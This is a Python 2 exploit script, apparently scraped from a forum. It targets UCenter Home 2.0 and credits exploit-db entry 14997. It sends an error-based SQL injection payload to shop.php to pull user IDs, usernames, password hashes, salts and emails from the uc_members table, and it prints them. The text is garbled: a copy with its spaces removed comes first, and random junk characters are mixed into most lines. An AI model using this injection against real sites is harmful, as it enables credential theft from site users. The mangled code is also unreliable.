#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
3 ~3 B- N6 C9 F
( j0 ~1 W+ y6 F* n7 |, C P; |! F* P5 N1 l% q
#!/usr/bin/env python
6 H/ w' B4 s& ^: o' ? 0 `- m b* T; U4 H# W+ j
import sys + `/ p" }9 h% F4 ] {
import urllib2 / {1 H9 m$ _( s& }1 o
import re
2 }$ h( s4 S" `) V; T" e9 I& C! H
+ `2 ^# O# }5 i) D( g0 kdef info():
' a' a- d6 p5 o. g8 G, [4 \ print 'From:http://www.exploit-db.com/exploits/14997/'
; N/ N( U' P) ^% T: z print 'http://www.hake.cc/Web_loudong/' ( Z9 W f+ E1 |- F$ H6 A
print 'changed:qiaoy' 8 [7 A4 p$ r. @
print 'exp:' 0 ~# Q$ ?$ U7 S
print ' ./UCenter_Home_2.0.py site' 0 }: |8 X6 Y" l5 _ y/ A
8 ]6 J5 k- G% }7 w0 Z7 Edef main(): 4 r* B5 n/ `0 B$ Y, m- ~1 ^
if len(sys.argv) != 2: # Y5 x ?, I0 w1 X q& R, c
info() # Z+ B" }/ l! X) T
else: ' B# ?. |( Z8 n$ [: e' }# ?
site = sys.argv[1] + ?) _. R4 V4 @4 _7 i
if site[0:7] == 'http://': 1 Q& ^$ ~" u, W% C5 r
sitesite =site 5 u' m: G' h, D0 K6 `6 [
elif site[0:8] == 'https://': : d! @5 e: ]* j. b6 L0 t! K4 u
sitesite = site - W% |8 H& a5 u4 \' S5 l6 ^
else:
7 D/ O8 j: [" H( A4 } site = 'http://'+site 2 R! h& ^( _; v2 H1 f
try: / P* [; I4 N- J. n+ n m$ G
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 5 g. R9 T9 t: Y
Value = urllib2.urlopen(url).read() : Z2 M# K f) g$ r3 P
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
) D, f7 N! q! O0 e8 B4 r hacked = Msg.split(':')
7 H0 m" O1 `/ N( f5 E% w# h: b7 V print 'Name: '+hacked[1] , [3 K; t7 w3 ^+ n( X
print 'Passwd: '+hacked[2]
) b3 A# |; [& J' m1 i print 'salt: '+hacked[3] 5 z5 p' i1 S* O: r
print 'email: '+hacked[4]
- s; o9 Z4 e% j9 O& V w; U except: + \1 @( K7 {) o) ^1 X" G9 n3 w
print 'Sorry,I can\'t work............' , S( B! D) \' \+ T
5 j* w+ ?, I* Dif __name__ == '__main__': " _) C9 P+ P, @6 _/ g
main() |